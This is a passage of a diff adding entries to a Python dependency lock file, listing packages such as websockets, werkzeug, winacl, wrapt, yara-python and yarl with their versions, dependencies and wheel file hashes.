+ {file = "websockets-11.0.3-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:f467ba0050b7de85016b43f5a22b46383ef004c4f672148a8abf32bc999a87f0"},
+ {file = "websockets-11.0.3-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:9d9acd80072abcc98bd2c86c3c9cd4ac2347b5a5a0cae7ed5c0ee5675f86d9af"},
+ {file = "websockets-11.0.3-cp37-cp37m-win32.whl", hash = "sha256:e590228200fcfc7e9109509e4d9125eace2042fd52b595dd22bbc34bb282307f"},
+ {file = "websockets-11.0.3-cp37-cp37m-win_amd64.whl", hash = "sha256:b16fff62b45eccb9c7abb18e60e7e446998093cdcb50fed33134b9b6878836de"},
+ {file = "websockets-11.0.3-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:fb06eea71a00a7af0ae6aefbb932fb8a7df3cb390cc217d51a9ad7343de1b8d0"},
+ {file = "websockets-11.0.3-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:8a34e13a62a59c871064dfd8ffb150867e54291e46d4a7cf11d02c94a5275bae"},
+ {file = "websockets-11.0.3-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:4841ed00f1026dfbced6fca7d963c4e7043aa832648671b5138008dc5a8f6d99"},
+ {file = "websockets-11.0.3-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1a073fc9ab1c8aff37c99f11f1641e16da517770e31a37265d2755282a5d28aa"},
+ {file = "websockets-11.0.3-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:68b977f21ce443d6d378dbd5ca38621755f2063d6fdb3335bda981d552cfff86"},
+ {file = "websockets-11.0.3-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e1a99a7a71631f0efe727c10edfba09ea6bee4166a6f9c19aafb6c0b5917d09c"},
+ {file = "websockets-11.0.3-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:bee9fcb41db2a23bed96c6b6ead6489702c12334ea20a297aa095ce6d31370d0"},
+ {file = "websockets-11.0.3-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:4b253869ea05a5a073ebfdcb5cb3b0266a57c3764cf6fe114e4cd90f4bfa5f5e"},
+ {file = "websockets-11.0.3-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:1553cb82942b2a74dd9b15a018dce645d4e68674de2ca31ff13ebc2d9f283788"},
+ {file = "websockets-11.0.3-cp38-cp38-win32.whl", hash = "sha256:f61bdb1df43dc9c131791fbc2355535f9024b9a04398d3bd0684fc16ab07df74"},
+ {file = "websockets-11.0.3-cp38-cp38-win_amd64.whl", hash = "sha256:03aae4edc0b1c68498f41a6772d80ac7c1e33c06c6ffa2ac1c27a07653e79d6f"},
+ {file = "websockets-11.0.3-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:777354ee16f02f643a4c7f2b3eff8027a33c9861edc691a2003531f5da4f6bc8"},
+ {file = "websockets-11.0.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:8c82f11964f010053e13daafdc7154ce7385ecc538989a354ccc7067fd7028fd"},
+ {file = "websockets-11.0.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:3580dd9c1ad0701169e4d6fc41e878ffe05e6bdcaf3c412f9d559389d0c9e016"},
+ {file = "websockets-11.0.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6f1a3f10f836fab6ca6efa97bb952300b20ae56b409414ca85bff2ad241d2a61"},
+ {file = "websockets-11.0.3-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:df41b9bc27c2c25b486bae7cf42fccdc52ff181c8c387bfd026624a491c2671b"},
+ {file = "websockets-11.0.3-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:279e5de4671e79a9ac877427f4ac4ce93751b8823f276b681d04b2156713b9dd"},
+ {file = "websockets-11.0.3-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:1fdf26fa8a6a592f8f9235285b8affa72748dc12e964a5518c6c5e8f916716f7"},
+ {file = "websockets-11.0.3-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:69269f3a0b472e91125b503d3c0b3566bda26da0a3261c49f0027eb6075086d1"},
+ {file = "websockets-11.0.3-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:97b52894d948d2f6ea480171a27122d77af14ced35f62e5c892ca2fae9344311"},
+ {file = "websockets-11.0.3-cp39-cp39-win32.whl", hash = "sha256:c7f3cb904cce8e1be667c7e6fef4516b98d1a6a0635a58a57528d577ac18a128"},
+ {file = "websockets-11.0.3-cp39-cp39-win_amd64.whl", hash = "sha256:c792ea4eabc0159535608fc5658a74d1a81020eb35195dd63214dcf07556f67e"},
+ {file = "websockets-11.0.3-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:f2e58f2c36cc52d41f2659e4c0cbf7353e28c8c9e63e30d8c6d3494dc9fdedcf"},
+ {file = "websockets-11.0.3-pp37-pypy37_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:de36fe9c02995c7e6ae6efe2e205816f5f00c22fd1fbf343d4d18c3d5ceac2f5"},
+ {file = "websockets-11.0.3-pp37-pypy37_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0ac56b661e60edd453585f4bd68eb6a29ae25b5184fd5ba51e97652580458998"},
+ {file = "websockets-11.0.3-pp37-pypy37_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e052b8467dd07d4943936009f46ae5ce7b908ddcac3fda581656b1b19c083d9b"},
+ {file = "websockets-11.0.3-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:42cc5452a54a8e46a032521d7365da775823e21bfba2895fb7b77633cce031bb"},
+ {file = "websockets-11.0.3-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:e6316827e3e79b7b8e7d8e3b08f4e331af91a48e794d5d8b099928b6f0b85f20"},
+ {file = "websockets-11.0.3-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8531fdcad636d82c517b26a448dcfe62f720e1922b33c81ce695d0edb91eb931"},
+ {file = "websockets-11.0.3-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c114e8da9b475739dde229fd3bc6b05a6537a88a578358bc8eb29b4030fac9c9"},
+ {file = "websockets-11.0.3-pp38-pypy38_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e063b1865974611313a3849d43f2c3f5368093691349cf3c7c8f8f75ad7cb280"},
+ {file = "websockets-11.0.3-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:92b2065d642bf8c0a82d59e59053dd2fdde64d4ed44efe4870fa816c1232647b"},
+ {file = "websockets-11.0.3-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:0ee68fe502f9031f19d495dae2c268830df2760c0524cbac5d759921ba8c8e82"},
+ {file = "websockets-11.0.3-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dcacf2c7a6c3a84e720d1bb2b543c675bf6c40e460300b628bab1b1efc7c034c"},
+ {file = "websockets-11.0.3-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b67c6f5e5a401fc56394f191f00f9b3811fe843ee93f4a70df3c389d1adf857d"},
+ {file = "websockets-11.0.3-pp39-pypy39_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1d5023a4b6a5b183dc838808087033ec5df77580485fc533e7dab2567851b0a4"},
+ {file = "websockets-11.0.3-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:ed058398f55163a79bb9f06a90ef9ccc063b204bb346c4de78efc5d15abfe602"},
+ {file = "websockets-11.0.3-py3-none-any.whl", hash = "sha256:6681ba9e7f8f3b19440921e99efbb40fc89f26cd71bf539e45d8c8a25c976dc6"},
+ {file = "websockets-11.0.3.tar.gz", hash = "sha256:88fc51d9a26b10fc331be344f1781224a375b78488fc343620184e95a4b27016"},
+]
+
+[[package]]
+name = "werkzeug"
+version = "2.3.6"
+description = "The comprehensive WSGI web application library."
+optional = false
+python-versions = ">=3.8"
+files = [
+ {file = "Werkzeug-2.3.6-py3-none-any.whl", hash = "sha256:935539fa1413afbb9195b24880778422ed620c0fc09670945185cce4d91a8890"},
+ {file = "Werkzeug-2.3.6.tar.gz", hash = "sha256:98c774df2f91b05550078891dee5f0eb0cb797a522c757a2452b9cee5b202330"},
+]
+
+[package.dependencies]
+MarkupSafe = ">=2.1.1"
+
+[package.extras]
+watchdog = ["watchdog (>=2.3)"]
+
+[[package]]
+name = "winacl"
+version = "0.1.7"
+description = "ACL/ACE/Security Descriptor manipulation library in pure Python"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "winacl-0.1.7-py3-none-any.whl", hash = "sha256:5d00ed1d2378823050b4eb87ff3e69d49cb3ecb8bf1e012b69afe15e3bdb2703"},
+ {file = "winacl-0.1.7.tar.gz", hash = "sha256:ca662c091471a6c629d76c5eec63d8a1bf1af7c054348f09c1242f338850b2bd"},
+]
+
+[package.dependencies]
+cryptography = ">=38.0.1"
+
+[[package]]
+name = "wrapt"
+version = "1.15.0"
+description = "Module for decorators, wrappers and monkey patching."
+optional = false
+python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7"
+files = [
+ {file = "wrapt-1.15.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:ca1cccf838cd28d5a0883b342474c630ac48cac5df0ee6eacc9c7290f76b11c1"},
+ {file = "wrapt-1.15.0-cp27-cp27m-manylinux1_i686.whl", hash = "sha256:e826aadda3cae59295b95343db8f3d965fb31059da7de01ee8d1c40a60398b29"},
+ {file = "wrapt-1.15.0-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:5fc8e02f5984a55d2c653f5fea93531e9836abbd84342c1d1e17abc4a15084c2"},
+ {file = "wrapt-1.15.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:96e25c8603a155559231c19c0349245eeb4ac0096fe3c1d0be5c47e075bd4f46"},
+ {file = "wrapt-1.15.0-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:40737a081d7497efea35ab9304b829b857f21558acfc7b3272f908d33b0d9d4c"},
+ {file = "wrapt-1.15.0-cp27-cp27mu-manylinux1_i686.whl", hash = "sha256:f87ec75864c37c4c6cb908d282e1969e79763e0d9becdfe9fe5473b7bb1e5f09"},
+ {file = "wrapt-1.15.0-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:1286eb30261894e4c70d124d44b7fd07825340869945c79d05bda53a40caa079"},
+ {file = "wrapt-1.15.0-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:493d389a2b63c88ad56cdc35d0fa5752daac56ca755805b1b0c530f785767d5e"},
+ {file = "wrapt-1.15.0-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:58d7a75d731e8c63614222bcb21dd992b4ab01a399f1f09dd82af17bbfc2368a"},
+ {file = "wrapt-1.15.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:21f6d9a0d5b3a207cdf7acf8e58d7d13d463e639f0c7e01d82cdb671e6cb7923"},
+ {file = "wrapt-1.15.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:ce42618f67741d4697684e501ef02f29e758a123aa2d669e2d964ff734ee00ee"},
+ {file = "wrapt-1.15.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:41d07d029dd4157ae27beab04d22b8e261eddfc6ecd64ff7000b10dc8b3a5727"},
+ {file = "wrapt-1.15.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:54accd4b8bc202966bafafd16e69da9d5640ff92389d33d28555c5fd4f25ccb7"},
+ {file = "wrapt-1.15.0-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2fbfbca668dd15b744418265a9607baa970c347eefd0db6a518aaf0cfbd153c0"},
+ {file = "wrapt-1.15.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:76e9c727a874b4856d11a32fb0b389afc61ce8aaf281ada613713ddeadd1cfec"},
+ {file = "wrapt-1.15.0-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:e20076a211cd6f9b44a6be58f7eeafa7ab5720eb796975d0c03f05b47d89eb90"},
+ {file = "wrapt-1.15.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:a74d56552ddbde46c246b5b89199cb3fd182f9c346c784e1a93e4dc3f5ec9975"},
+ {file = "wrapt-1.15.0-cp310-cp310-win32.whl", hash = "sha256:26458da5653aa5b3d8dc8b24192f574a58984c749401f98fff994d41d3f08da1"},
+ {file = "wrapt-1.15.0-cp310-cp310-win_amd64.whl", hash = "sha256:75760a47c06b5974aa5e01949bf7e66d2af4d08cb8c1d6516af5e39595397f5e"},
+ {file = "wrapt-1.15.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:ba1711cda2d30634a7e452fc79eabcadaffedf241ff206db2ee93dd2c89a60e7"},
+ {file = "wrapt-1.15.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:56374914b132c702aa9aa9959c550004b8847148f95e1b824772d453ac204a72"},
+ {file = "wrapt-1.15.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a89ce3fd220ff144bd9d54da333ec0de0399b52c9ac3d2ce34b569cf1a5748fb"},
+ {file = "wrapt-1.15.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3bbe623731d03b186b3d6b0d6f51865bf598587c38d6f7b0be2e27414f7f214e"},
+ {file = "wrapt-1.15.0-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3abbe948c3cbde2689370a262a8d04e32ec2dd4f27103669a45c6929bcdbfe7c"},
+ {file = "wrapt-1.15.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:b67b819628e3b748fd3c2192c15fb951f549d0f47c0449af0764d7647302fda3"},
+ {file = "wrapt-1.15.0-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:7eebcdbe3677e58dd4c0e03b4f2cfa346ed4049687d839adad68cc38bb559c92"},
+ {file = "wrapt-1.15.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:74934ebd71950e3db69960a7da29204f89624dde411afbfb3b4858c1409b1e98"},
+ {file = "wrapt-1.15.0-cp311-cp311-win32.whl", hash = "sha256:bd84395aab8e4d36263cd1b9308cd504f6cf713b7d6d3ce25ea55670baec5416"},
+ {file = "wrapt-1.15.0-cp311-cp311-win_amd64.whl", hash = "sha256:a487f72a25904e2b4bbc0817ce7a8de94363bd7e79890510174da9d901c38705"},
+ {file = "wrapt-1.15.0-cp35-cp35m-manylinux1_i686.whl", hash = "sha256:4ff0d20f2e670800d3ed2b220d40984162089a6e2c9646fdb09b85e6f9a8fc29"},
+ {file = "wrapt-1.15.0-cp35-cp35m-manylinux1_x86_64.whl", hash = "sha256:9ed6aa0726b9b60911f4aed8ec5b8dd7bf3491476015819f56473ffaef8959bd"},
+ {file = "wrapt-1.15.0-cp35-cp35m-manylinux2010_i686.whl", hash = "sha256:896689fddba4f23ef7c718279e42f8834041a21342d95e56922e1c10c0cc7afb"},
+ {file = "wrapt-1.15.0-cp35-cp35m-manylinux2010_x86_64.whl", hash = "sha256:75669d77bb2c071333417617a235324a1618dba66f82a750362eccbe5b61d248"},
+ {file = "wrapt-1.15.0-cp35-cp35m-win32.whl", hash = "sha256:fbec11614dba0424ca72f4e8ba3c420dba07b4a7c206c8c8e4e73f2e98f4c559"},
+ {file = "wrapt-1.15.0-cp35-cp35m-win_amd64.whl", hash = "sha256:fd69666217b62fa5d7c6aa88e507493a34dec4fa20c5bd925e4bc12fce586639"},
+ {file = "wrapt-1.15.0-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:b0724f05c396b0a4c36a3226c31648385deb6a65d8992644c12a4963c70326ba"},
+ {file = "wrapt-1.15.0-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bbeccb1aa40ab88cd29e6c7d8585582c99548f55f9b2581dfc5ba68c59a85752"},
+ {file = "wrapt-1.15.0-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:38adf7198f8f154502883242f9fe7333ab05a5b02de7d83aa2d88ea621f13364"},
+ {file = "wrapt-1.15.0-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:578383d740457fa790fdf85e6d346fda1416a40549fe8db08e5e9bd281c6a475"},
+ {file = "wrapt-1.15.0-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:a4cbb9ff5795cd66f0066bdf5947f170f5d63a9274f99bdbca02fd973adcf2a8"},
+ {file = "wrapt-1.15.0-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:af5bd9ccb188f6a5fdda9f1f09d9f4c86cc8a539bd48a0bfdc97723970348418"},
+ {file = "wrapt-1.15.0-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:b56d5519e470d3f2fe4aa7585f0632b060d532d0696c5bdfb5e8319e1d0f69a2"},
+ {file = "wrapt-1.15.0-cp36-cp36m-win32.whl", hash = "sha256:77d4c1b881076c3ba173484dfa53d3582c1c8ff1f914c6461ab70c8428b796c1"},
+ {file = "wrapt-1.15.0-cp36-cp36m-win_amd64.whl", hash = "sha256:077ff0d1f9d9e4ce6476c1a924a3332452c1406e59d90a2cf24aeb29eeac9420"},
+ {file = "wrapt-1.15.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:5c5aa28df055697d7c37d2099a7bc09f559d5053c3349b1ad0c39000e611d317"},
+ {file = "wrapt-1.15.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3a8564f283394634a7a7054b7983e47dbf39c07712d7b177b37e03f2467a024e"},
+ {file = "wrapt-1.15.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:780c82a41dc493b62fc5884fb1d3a3b81106642c5c5c78d6a0d4cbe96d62ba7e"},
+ {file = "wrapt-1.15.0-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e169e957c33576f47e21864cf3fc9ff47c223a4ebca8960079b8bd36cb014fd0"},
+ {file = "wrapt-1.15.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:b02f21c1e2074943312d03d243ac4388319f2456576b2c6023041c4d57cd7019"},
+ {file = "wrapt-1.15.0-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:f2e69b3ed24544b0d3dbe2c5c0ba5153ce50dcebb576fdc4696d52aa22db6034"},
+ {file = "wrapt-1.15.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:d787272ed958a05b2c86311d3a4135d3c2aeea4fc655705f074130aa57d71653"},
+ {file = "wrapt-1.15.0-cp37-cp37m-win32.whl", hash = "sha256:02fce1852f755f44f95af51f69d22e45080102e9d00258053b79367d07af39c0"},
+ {file = "wrapt-1.15.0-cp37-cp37m-win_amd64.whl", hash = "sha256:abd52a09d03adf9c763d706df707c343293d5d106aea53483e0ec8d9e310ad5e"},
+ {file = "wrapt-1.15.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:cdb4f085756c96a3af04e6eca7f08b1345e94b53af8921b25c72f096e704e145"},
+ {file = "wrapt-1.15.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:230ae493696a371f1dbffaad3dafbb742a4d27a0afd2b1aecebe52b740167e7f"},
+ {file = "wrapt-1.15.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:63424c681923b9f3bfbc5e3205aafe790904053d42ddcc08542181a30a7a51bd"},
+ {file = "wrapt-1.15.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d6bcbfc99f55655c3d93feb7ef3800bd5bbe963a755687cbf1f490a71fb7794b"},
+ {file = "wrapt-1.15.0-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c99f4309f5145b93eca6e35ac1a988f0dc0a7ccf9ccdcd78d3c0adf57224e62f"},
+ {file = "wrapt-1.15.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:b130fe77361d6771ecf5a219d8e0817d61b236b7d8b37cc045172e574ed219e6"},
+ {file = "wrapt-1.15.0-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:96177eb5645b1c6985f5c11d03fc2dbda9ad24ec0f3a46dcce91445747e15094"},
+ {file = "wrapt-1.15.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:d5fe3e099cf07d0fb5a1e23d399e5d4d1ca3e6dfcbe5c8570ccff3e9208274f7"},
+ {file = "wrapt-1.15.0-cp38-cp38-win32.whl", hash = "sha256:abd8f36c99512755b8456047b7be10372fca271bf1467a1caa88db991e7c421b"},
+ {file = "wrapt-1.15.0-cp38-cp38-win_amd64.whl", hash = "sha256:b06fa97478a5f478fb05e1980980a7cdf2712015493b44d0c87606c1513ed5b1"},
+ {file = "wrapt-1.15.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:2e51de54d4fb8fb50d6ee8327f9828306a959ae394d3e01a1ba8b2f937747d86"},
+ {file = "wrapt-1.15.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:0970ddb69bba00670e58955f8019bec4a42d1785db3faa043c33d81de2bf843c"},
+ {file = "wrapt-1.15.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:76407ab327158c510f44ded207e2f76b657303e17cb7a572ffe2f5a8a48aa04d"},
+ {file = "wrapt-1.15.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:cd525e0e52a5ff16653a3fc9e3dd827981917d34996600bbc34c05d048ca35cc"},
+ {file = "wrapt-1.15.0-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9d37ac69edc5614b90516807de32d08cb8e7b12260a285ee330955604ed9dd29"},
+ {file = "wrapt-1.15.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:078e2a1a86544e644a68422f881c48b84fef6d18f8c7a957ffd3f2e0a74a0d4a"},
+ {file = "wrapt-1.15.0-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:2cf56d0e237280baed46f0b5316661da892565ff58309d4d2ed7dba763d984b8"},
+ {file = "wrapt-1.15.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:7dc0713bf81287a00516ef43137273b23ee414fe41a3c14be10dd95ed98a2df9"},
+ {file = "wrapt-1.15.0-cp39-cp39-win32.whl", hash = "sha256:46ed616d5fb42f98630ed70c3529541408166c22cdfd4540b88d5f21006b0eff"},
+ {file = "wrapt-1.15.0-cp39-cp39-win_amd64.whl", hash = "sha256:eef4d64c650f33347c1f9266fa5ae001440b232ad9b98f1f43dfe7a79435c0a6"},
+ {file = "wrapt-1.15.0-py3-none-any.whl", hash = "sha256:64b1df0f83706b4ef4cfb4fb0e4c2669100fd7ecacfb59e091fad300d4e04640"},
+ {file = "wrapt-1.15.0.tar.gz", hash = "sha256:d06730c6aed78cee4126234cf2d071e01b44b915e725a6cb439a879ec9754a3a"},
+]
+
+[[package]]
+name = "yara-python"
+version = "4.3.1"
+description = "Python interface for YARA"
+optional = false
+python-versions = "*"
+files = [
+ {file = "yara-python-4.3.1.tar.gz", hash = "sha256:7af4354ee0f1561f51fd01771a121d8d385b93bbc6138a25a38ce68aa6801c2c"},
+ {file = "yara_python-4.3.1-cp310-cp310-win32.whl", hash = "sha256:834d8fe2cdb5cf61d5e505d32c504b62891df5ce5af9f04dbd8c7575c1dbef30"},
+ {file = "yara_python-4.3.1-cp310-cp310-win_amd64.whl", hash = "sha256:ec05d0b7cc46728119d450875382d5386305510b8cfb14bad3627060c9e6f199"},
+ {file = "yara_python-4.3.1-cp311-cp311-win32.whl", hash = "sha256:c8663f75f0c5f82e0f6053c9ddbddd97f956787bffb7f64cac1e40e0a21db89c"},
+ {file = "yara_python-4.3.1-cp311-cp311-win_amd64.whl", hash = "sha256:51f1bdbcdbcfa29a7a2cf7e7e5d6a7d8dbd00568e4ab6103adceda5a499895a6"},
+ {file = "yara_python-4.3.1-cp37-cp37m-win32.whl", hash = "sha256:8847bb5e74d2b33cf48f372bed02805876ab2e414aa7fd50c16a7c6150316601"},
+ {file = "yara_python-4.3.1-cp37-cp37m-win_amd64.whl", hash = "sha256:fbf8281a6eb538b5c219a9c54c65a910806e7adf28a7d878f2cff551cbbd43ea"},
+ {file = "yara_python-4.3.1-cp38-cp38-win32.whl", hash = "sha256:fd70fe0ba522d4ecd73cbf45e528872844e61e2febe8f66e8a94c2674751b831"},
+ {file = "yara_python-4.3.1-cp38-cp38-win_amd64.whl", hash = "sha256:950377dd53d17870f66406f0db9ed9f6b04ac7e61c7f6fd5429459e2a00fd874"},
+ {file = "yara_python-4.3.1-cp39-cp39-win32.whl", hash = "sha256:c032ad4ec6698a4f485b3d9721e6223028953bb61362482bdd7eabb147271e80"},
+ {file = "yara_python-4.3.1-cp39-cp39-win_amd64.whl", hash = "sha256:f0b7b2ea840638415a075a25860dbcb6466d83000a8367196188a6367b01af71"},
+]
+
+[[package]]
+name = "yarl"
+version = "1.9.2"
+description = "Yet another URL library"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "yarl-1.9.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:8c2ad583743d16ddbdf6bb14b5cd76bf43b0d0006e918809d5d4ddf7bde8dd82"},
+ {file = "yarl-1.9.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:82aa6264b36c50acfb2424ad5ca537a2060ab6de158a5bd2a72a032cc75b9eb8"},
+ {file = "yarl-1.9.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:c0c77533b5ed4bcc38e943178ccae29b9bcf48ffd1063f5821192f23a1bd27b9"},
+ {file = "yarl-1.9.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ee4afac41415d52d53a9833ebae7e32b344be72835bbb589018c9e938045a560"},
+ {file = "yarl-1.9.2-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9bf345c3a4f5ba7f766430f97f9cc1320786f19584acc7086491f45524a551ac"},
+ {file = "yarl-1.9.2-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2a96c19c52ff442a808c105901d0bdfd2e28575b3d5f82e2f5fd67e20dc5f4ea"},
+ {file = "yarl-1.9.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:891c0e3ec5ec881541f6c5113d8df0315ce5440e244a716b95f2525b7b9f3608"},
+ {file = "yarl-1.9.2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c3a53ba34a636a256d767c086ceb111358876e1fb6b50dfc4d3f4951d40133d5"},
+ {file = "yarl-1.9.2-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:566185e8ebc0898b11f8026447eacd02e46226716229cea8db37496c8cdd26e0"},
+ {file = "yarl-1.9.2-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:2b0738fb871812722a0ac2154be1f049c6223b9f6f22eec352996b69775b36d4"},
+ {file = "yarl-1.9.2-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:32f1d071b3f362c80f1a7d322bfd7b2d11e33d2adf395cc1dd4df36c9c243095"},
+ {file = "yarl-1.9.2-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:e9fdc7ac0d42bc3ea78818557fab03af6181e076a2944f43c38684b4b6bed8e3"},
+ {file = "yarl-1.9.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:56ff08ab5df8429901ebdc5d15941b59f6253393cb5da07b4170beefcf1b2528"},
+ {file = "yarl-1.9.2-cp310-cp310-win32.whl", hash = "sha256:8ea48e0a2f931064469bdabca50c2f578b565fc446f302a79ba6cc0ee7f384d3"},
